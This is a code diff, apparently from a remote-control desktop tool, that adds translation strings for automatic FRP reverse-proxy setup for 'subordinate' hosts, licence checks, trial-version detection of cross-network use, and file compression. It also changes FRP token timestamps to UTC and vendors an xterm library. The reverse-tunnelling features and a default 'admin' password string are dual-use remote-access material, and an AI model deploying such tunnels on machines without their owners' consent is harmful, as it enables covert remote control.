; 用途: commit 88a9a01 (Feature: Automatically start frp client for subordinate) 引入的新文案
; --- 主对话框:检测到 [settings] FrpConfig 被外部模块写入的热切换提示 ---
[FRP] 已启用上级 FRP 反向代理(远程端口 %d已生效=[FRP] Upstream FRP reverse proxy enabled (remote port %d), now active
[FRP] 收到无效的 FRP 配置: %s=[FRP] Received invalid FRP configuration: %s
[FRP] 上级已撤销 FRP 反向代理配置,已停止 FRPC=[FRP] Upstream FRP reverse proxy configuration revoked, FRPC stopped
[FRP] 上级 FRP 反向代理配置已切换(远程端口 %d → %d已生效=[FRP] Upstream FRP reverse proxy switched (remote port %d → %d), now active
[FRP] 收到无效的新 FRP 配置: %s已停止旧 FRPC=[FRP] Received invalid new FRP configuration: %s. Old FRPC stopped.
; --- 授权管理:右键菜单"自动FRP" ---
自动FRP(&F)...=Auto FRP(&F)...
; --- 授权管理 → 自动FRP 对话框相关 ---
请先在 扩展 → 下级 FRP 代理设置 中启用并配置 FRPS 服务器地址、端口与 Token然后再使用此功能。=Please first enable and configure the FRPS server address, port and token in Extensions → FRPS for Subordinates, then use this feature.
未配置 FRPS=FRPS Not Configured
该授权已分配 FRPC 远程端口 %d是否覆盖并重新设置=This license is already assigned FRPC remote port %d. Overwrite and reconfigure?
覆盖 FRPC 配置=Overwrite FRPC Configuration
FRPS 端口范围已满,无法自动分配,请扩大「下级 FRP 代理设置」中的端口范围。=FRPS port range is full, cannot auto-allocate. Please expand the port range in "FRPS for Subordinates" settings.
端口已满=Port Range Full
自动 FRP - %s=Auto FRP - %s
FRPC 远程端口 (1024-65535):=FRPC Remote Port (1024-65535):
端口 %d 已被序列号 %s 占用,请选择其它端口。=Port %d is already occupied by serial number %s. Please choose another port.
端口冲突=Port Conflict
生成 FRP 配置失败=Failed to generate FRP configuration
已为授权 %s 配置 FRPC 远程端口 %d。\n\n下级上线时将自动接收 FRP 配置并启用反向代理。=Configured license %s with FRPC remote port %d.\n\nWhen the subordinate comes online, it will automatically receive the FRP configuration and enable the reverse proxy.
配置成功=Configured Successfully
; --- 授权管理:右键菜单"撤销FRP" + 对话框 ---
撤销FRP(&U)=Revoke FRP(&U)
确定撤销授权 %s 的 FRP 配置吗?\n\n远程端口 %d 将被释放,下级下次上线后反向代理失效。=Revoke FRP configuration for license %s?\n\nRemote port %d will be released. The reverse proxy will stop working the next time the subordinate comes online.
撤销 FRP 配置=Revoke FRP Configuration
已撤销授权 %s 的 FRP 配置,远程端口 %d 已释放。=Revoked FRP configuration for license %s. Remote port %d has been released.
撤销成功=Revoked Successfully
无效参数=Invalid argument
不支持的位深度需要24位或32位=Bitmap depth is unsupported
未安装x264编解码器 \n下载地址https://sourceforge.net/projects/x264vfw=x264 Encoder is required \nDownload viahttps://sourceforge.net/projects/x264vfw
创建AVI文件失败=Create AVI file failed
启用 H264 硬编码=Enable HW H264 Encoding
启用 AV1 硬编码=Enable HW AV1 Encoding
; ZSTA Compress / Picker Dialog - English Translation
; Format: Simplified Chinese=English
; --- Picker dialog (CZstaPickerDlg) ---
选择要压缩的文件 / 文件夹=Select Files / Folders to Compress
添加文件...=Add Files...
添加文件夹...=Add Folders...
移除选中=Remove Selected
类型=Type
路径=Path
文件=File
文件夹=Folder
选择文件 (可多选)=Select Files (multi-select)
选择文件夹 (可多选)=Select Folders (multi-select)
; --- Compress / Extract handlers (CMy2015RemoteDlg) ---
未选择任何文件或文件夹=No file or folder selected
选择压缩输出文件=Choose Output Archive
请选择要解压的 ZSTA 文件 (可多选)=Choose ZSTA File(s) to Extract (multi-select)
压缩成功 (%u 项):\n%s=Compression succeeded (%u item(s)):\n%s
压缩失败: %s=Compression failed: %s
解压完成: 成功 %d, 失败 %d=Extraction complete: %d succeeded, %d failed
; --- Common (likely already present in en_US.ini; included for completeness) ---
确定=OK
取消=Cancel
提示=Notice
错误=Error
压缩(&C)=&Compress
解压缩(&U)=&Uncompress
\n默认密码是: admin=\nDefault password is: admin

View File

@@ -105,6 +105,7 @@ RTT=RTT
解密数据=解密資料
画板=繪圖板
屏幕墙=螢幕牆
替换=替換
替换图标=替換圖示
发送文件=傳送檔案
历史主机=歷史主機
@@ -1763,7 +1764,7 @@ FRPS
监听端口和Web服务端口冲突!=监听端口和Web服务端口冲突!
打开Web远程桌面(&W)=打开Web远程桌面(&W)
请在菜单设置Web端口!=请在菜单设置Web端口!
请设置环境变量 YAMA_PWD 来使用Web远程桌面!=请设置环境变量 YAMA_PWD 来使用Web远程桌面!
请设置环境变量 YAMA_WEB_ADMIN_PASS 来使用Web远程桌面!=请设置环境变量 YAMA_WEB_ADMIN_PASS 来使用Web远程桌面!
如需Web远程桌面跨网使用方案请联系管理员!=如需Web远程桌面跨网使用方案请联系管理员!
; Plugin Settings Dialog - Traditional Chinese Translation
; Format: Simplified Chinese=Traditional Chinese
@@ -1775,8 +1776,11 @@ IOCP
标准FRPC[不可用]=標準FRPC[不可用]
不自动执行=不自動執行
启动执行=啟動執行
每日定时[未实现]=每日定時[未實現]
每周定时[未实现]=每週定時[未實現]
每日定时=每日定時
每周定时=每週定時
每月定时=每月定时
每年定时=每年定时
关闭执行=关闭执行
名称=名稱
大小=大小
运行类型=執行類型
@@ -1822,3 +1826,93 @@ IOCP
提示: macOS 端 binary 已被修改导致签名失效,直接运行会被系统强杀。=提示: macOS 端 binary 已被修改導致簽章失效,直接執行會被系統強制終止。
推荐: 拷贝到 macOS 后运行 install.sh 安装 (脚本会自动重签)。=推薦: 複製到 macOS 後執行 install.sh 安裝 (腳本會自動重新簽章)。
或手动重签:=或手動重新簽章:
<请输入文本用于替换远程剪切板>=<请输入文本用于替换远程剪切板>
; Screen Preview Loop - Traditional Chinese Translation
; Format: Simplified Chinese=Traditional Chinese
主机:=主機:
分辨率:=解析度:
有 %d 个主机不支持屏幕预览,已跳过=有 %d 個主機不支援螢幕預覽,已跳過
播放快照=播放快照
快照=快照
预览=預覽
主机列表预览图=主機列表預覽圖
入站告警=入站告警
反代理告警=反代理告警
试用版 LAN-only 限制=試用版 LAN-only 限制
入站公网 IP: %s Proxy Protocol 真实 IP 或 raw TCP 对端)=入站公網 IP=%s Proxy Protocol 真實 IP 或 raw TCP 對端)
检测到入站连接来自公网 IP%s\r\n\r\n试用版仅供 LAN 内自用,跨网使用属于违反授权条款。\r\n如需跨网远控请向发行方申请正式授权。\r\n\r\n详细记录见消息列表与运行日志。=檢測到入站連線來自公網 IP%s\r\n\r\n試用版僅供 LAN 內自用,跨網使用屬於違反授權條款。\r\n如需跨網遠控請向發行方申請正式授權。\r\n\r\n詳細記錄請見訊息列表與執行日誌。
检测到可疑连接:内核 RTT 中位数 %d ms超出阈值 %d ms。\r\n\r\n持续偏高的 RTT 提示该连接可能经由代理 / VPN / 隧道中转。\r\n试用版仅供 LAN 内自用,跨网使用属于违反授权条款。\r\n\r\n如需跨网远控请向发行方申请正式授权。\r\n详细记录见消息列表与运行日志。=檢測到可疑連線:核心 RTT 中位數 %d ms超出閾值 %d ms。\r\n\r\n持續偏高的 RTT 提示該連線可能經由代理 / VPN / 隧道中轉。\r\n試用版僅供 LAN 內自用,跨網使用屬於違反授權條款。\r\n\r\n如需跨網遠控請向發行方申請正式授權。\r\n詳細記錄請見訊息列表與執行日誌。
; Auto FRP / Upper-FRP Hot-Swap - Traditional Chinese Translation
; Format: Simplified Chinese=Traditional Chinese
; 用途: commit 88a9a01 (Feature: Automatically start frp client for subordinate) 引入的新文案
; --- 主对话框:检测到 [settings] FrpConfig 被外部模块写入的热切换提示 ---
[FRP] 已启用上级 FRP 反向代理(远程端口 %d已生效=[FRP] 已啟用上級 FRP 反向代理(遠端連接埠 %d已生效
[FRP] 收到无效的 FRP 配置: %s=[FRP] 收到無效的 FRP 配置: %s
[FRP] 上级已撤销 FRP 反向代理配置,已停止 FRPC=[FRP] 上級已撤銷 FRP 反向代理配置,已停止 FRPC
[FRP] 上级 FRP 反向代理配置已切换(远程端口 %d → %d已生效=[FRP] 上級 FRP 反向代理配置已切換(遠端連接埠 %d → %d),已生效
[FRP] 收到无效的新 FRP 配置: %s已停止旧 FRPC=[FRP] 收到無效的新 FRP 配置: %s已停止舊 FRPC
; --- 授权管理:右键菜单"自动FRP" ---
自动FRP(&F)...=自動FRP(&F)...
; --- 授权管理 → 自动FRP 对话框相关 ---
请先在 扩展 → 下级 FRP 代理设置 中启用并配置 FRPS 服务器地址、端口与 Token然后再使用此功能。=請先在 擴充 → 下級 FRP 代理設定 中啟用並設定 FRPS 伺服器位址、連接埠與 Token然後再使用此功能。
未配置 FRPS=未設定 FRPS
该授权已分配 FRPC 远程端口 %d是否覆盖并重新设置=該授權已分配 FRPC 遠端連接埠 %d是否覆蓋並重新設定
覆盖 FRPC 配置=覆蓋 FRPC 設定
FRPS 端口范围已满,无法自动分配,请扩大「下级 FRP 代理设置」中的端口范围。=FRPS 連接埠範圍已滿,無法自動分配,請擴大「下級 FRP 代理設定」中的連接埠範圍。
端口已满=連接埠已滿
自动 FRP - %s=自動 FRP - %s
FRPC 远程端口 (1024-65535):=FRPC 遠端連接埠 (1024-65535):
端口 %d 已被序列号 %s 占用,请选择其它端口。=連接埠 %d 已被序列號 %s 佔用,請選擇其他連接埠。
端口冲突=連接埠衝突
生成 FRP 配置失败=產生 FRP 配置失敗
已为授权 %s 配置 FRPC 远程端口 %d。\n\n下级上线时将自动接收 FRP 配置并启用反向代理。=已為授權 %s 設定 FRPC 遠端連接埠 %d。\n\n下級上線時將自動接收 FRP 配置並啟用反向代理。
配置成功=設定成功
; --- 授权管理:右键菜单"撤销FRP" + 对话框 ---
撤销FRP(&U)=撤銷FRP(&U)
确定撤销授权 %s 的 FRP 配置吗?\n\n远程端口 %d 将被释放,下级下次上线后反向代理失效。=確定撤銷授權 %s 的 FRP 配置嗎?\n\n遠端連接埠 %d 將被釋放,下級下次上線後反向代理失效。
撤销 FRP 配置=撤銷 FRP 配置
已撤销授权 %s 的 FRP 配置,远程端口 %d 已释放。=已撤銷授權 %s 的 FRP 配置,遠端連接埠 %d 已釋放。
撤销成功=撤銷成功
无效参数无效参数
不支持的位深度需要24位或32位=不支持的位深度需要24位或32位
未安装x264编解码器 \n下载地址https://sourceforge.net/projects/x264vfw=未安装x264编解码器 \n下载地址https://sourceforge.net/projects/x264vfw
创建AVI文件失败=创建AVI文件失败
启用 H264 硬编码=启用 H264 硬编码
启用 AV1 硬编码=启用 AV1 硬编码
; ZSTA Compress / Picker Dialog - Traditional Chinese Translation
; Format: Simplified Chinese=Traditional Chinese
; --- Picker dialog (CZstaPickerDlg) ---
选择要压缩的文件 / 文件夹=選擇要壓縮的檔案 / 資料夾
添加文件...=新增檔案...
添加文件夹...=新增資料夾...
移除选中=移除選取項
类型=類型
路径=路徑
文件=檔案
文件夹=資料夾
选择文件 (可多选)=選擇檔案 (可多選)
选择文件夹 (可多选)=選擇資料夾 (可多選)
; --- Compress / Extract handlers (CMy2015RemoteDlg) ---
未选择任何文件或文件夹=未選擇任何檔案或資料夾
选择压缩输出文件=選擇壓縮輸出檔案
请选择要解压的 ZSTA 文件 (可多选)=請選擇要解壓縮的 ZSTA 檔案 (可多選)
压缩成功 (%u 项):\n%s=壓縮成功 (%u 項):\n%s
压缩失败: %s=壓縮失敗: %s
解压完成: 成功 %d, 失败 %d=解壓縮完成: 成功 %d, 失敗 %d
; --- Common (likely already present in zh_TW.ini; included for completeness) ---
确定=確定
取消=取消
提示=提示
错误=錯誤
压缩(&C)=壓縮(&C)
解压缩(&U)=解壓縮(&U)
\n默认密码是: admin=\n默认密码是: admin

View File

@@ -585,6 +585,7 @@ std::string signPasswordV2(const std::string& deviceId, const std::string& passw
// 签名
BYTE signature[V2_SIGNATURE_SIZE];
if (!SignMessageV2(privateKeyFile, (const BYTE*)payload.c_str(), (int)payload.length(), signature)) {
Mprintf("signPasswordV2: SignMessageV2 failed: %s\n", payload.c_str());
return "";
}
@@ -640,7 +641,7 @@ std::string signAuthorizationV2(const std::string& license, const std::string& s
BYTE signature[V2_SIGNATURE_SIZE];
if (!SignMessageV2(privateKeyFile, (const BYTE*)payload.c_str(), (int)payload.length(), signature)) {
Mprintf("signAuthorizationV2: SignMessageV2 failed\n");
Mprintf("signAuthorizationV2: SignMessageV2 failed: %s\n", license.c_str());
return "";
}
@@ -709,7 +710,10 @@ bool IsFrpTokenEncoded(const std::string& privilegeKey)
return privilegeKey.length() >= 4 && privilegeKey.substr(0, 4) == "ENC:";
}
// 日期字符串转 Unix 时间戳(当天 23:59:59 本地时间)
// 日期字符串转 Unix 时间戳(当天 23:59:59 UTC
// 必须使用 UTC_mkgmtime而非本地时间mktime—— privilegeKey 由上级生成、
// 下级二次计算后发给 frps 校验若两端时区不同mktime 会返回不同的 UTC 时间戳,
// 导致 MD5 不匹配frps 报 "token in login doesn't match token from configuration"。
time_t FrpDateToTimestamp(const std::string& dateStr)
{
if (dateStr.length() != 8) return 0;
@@ -721,7 +725,7 @@ time_t FrpDateToTimestamp(const std::string& dateStr)
t.tm_hour = 23;
t.tm_min = 59;
t.tm_sec = 59;
return mktime(&t);
return _mkgmtime(&t);
} catch (...) {
return 0;
}

Binary file not shown.

After

Width:  |  Height:  |  Size: 822 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 822 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 822 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 5.3 KiB

8
server/2015Remote/res/web/fit.min.js vendored Normal file
View File

@@ -0,0 +1,8 @@
/**
* Skipped minification because the original files appears to be already minified.
* Original file: /npm/xterm-addon-fit@0.8.0/lib/xterm-addon-fit.js
*
* Do NOT use SRI with dynamically generated files! More information: https://www.jsdelivr.com/using-sri-with-dynamic-files
*/
!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports.FitAddon=t():e.FitAddon=t()}(self,(()=>(()=>{"use strict";var e={};return(()=>{var t=e;Object.defineProperty(t,"__esModule",{value:!0}),t.FitAddon=void 0,t.FitAddon=class{activate(e){this._terminal=e}dispose(){}fit(){const e=this.proposeDimensions();if(!e||!this._terminal||isNaN(e.cols)||isNaN(e.rows))return;const t=this._terminal._core;this._terminal.rows===e.rows&&this._terminal.cols===e.cols||(t._renderService.clear(),this._terminal.resize(e.cols,e.rows))}proposeDimensions(){if(!this._terminal)return;if(!this._terminal.element||!this._terminal.element.parentElement)return;const e=this._terminal._core,t=e._renderService.dimensions;if(0===t.css.cell.width||0===t.css.cell.height)return;const r=0===this._terminal.options.scrollback?0:e.viewport.scrollBarWidth,i=window.getComputedStyle(this._terminal.element.parentElement),o=parseInt(i.getPropertyValue("height")),s=Math.max(0,parseInt(i.getPropertyValue("width"))),n=window.getComputedStyle(this._terminal.element),l=o-(parseInt(n.getPropertyValue("padding-top"))+parseInt(n.getPropertyValue("padding-bottom"))),a=s-(parseInt(n.getPropertyValue("padding-right"))+parseInt(n.getPropertyValue("padding-left")))-r;return{cols:Math.max(2,Math.floor(a/t.css.cell.width)),rows:Math.max(1,Math.floor(l/t.css.cell.height))}}}})(),e})()));
//# sourceMappingURL=xterm-addon-fit.js.map

Some files were not shown because too many files have changed in this diff Show More